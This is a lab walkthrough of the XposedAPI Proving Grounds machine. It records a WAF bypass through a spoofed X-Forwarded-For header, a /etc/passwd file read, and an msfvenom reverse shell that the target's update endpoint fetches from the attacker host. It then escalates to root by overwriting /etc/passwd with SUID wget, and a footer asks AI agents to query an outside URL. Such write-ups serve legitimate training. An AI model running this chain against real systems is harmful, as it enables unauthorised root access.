# XposedAPI

### Enumeration

```
...
13337/tcp open  http    Gunicorn 20.0.4
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: gunicorn/20.0.4
|_http-title: Remote Software Management API
...
```

> /logs
>
> Methods: GET
>
> /update
>
> Methods: POST
>
> Updates the app using a linux executable. Content-Type: application/json {"user":"", "url":""}
>
> /restart
>
> Methods: GET

```
POST /update HTTP/1.1
...
Content-Type: application/json
Content-Length: 48

{"user":"test", "url":"http://192.168.49.60/"}

Response:
Invalid username.
```

We need a valid username.

```
GET /logs HTTP/1.1

Response:
WAF: Access Denied for this Host.
```

**Added to request header ->** `X-Forwarded-For: 127.0.0.1`

```
GET /logs HTTP/1.1
...
X-Forwarded-For: 127.0.0.1

Response:
Error! No file specified. Use file=/path/to/log/file to access log files.
```

```
GET /logs?file=/etc/passwd HTTP/1.1
...
X-Forwarded-For: 127.0.0.1

Response:
root:x:0:0:root:/root:/bin/bash
...
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh
```

### Initial Access

```
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=80 -f elf -o reverse.elf
```

```
POST /update HTTP/1.1
...
Content-Type: application/json

{"user":"clumsyadmin", "url":"http://192.168.49.60/shell.sh"}

Response:
Update requested by clumsyadmin. Restart the software for changes to take effect.
```

```
GET /restart HTTP/1.1
POST /restart HTTP/1.1
...
{"confirm":"true"}
```

### PrivEsc

```
clumsyadmin@xposedapi:/tmp$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/wget
```

Copy contents of /etc/passwd to your host as passwd.

Add this user with this command:

```
echo "ch:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> passwd
```

**ch:pass123**

```
clumsyadmin@xposedapi:/$ wget http://192.168.49.60/passwd -O /etc/passwd

clumsyadmin@xposedapi:/$ su ch
password:pass123
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/xposedapi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.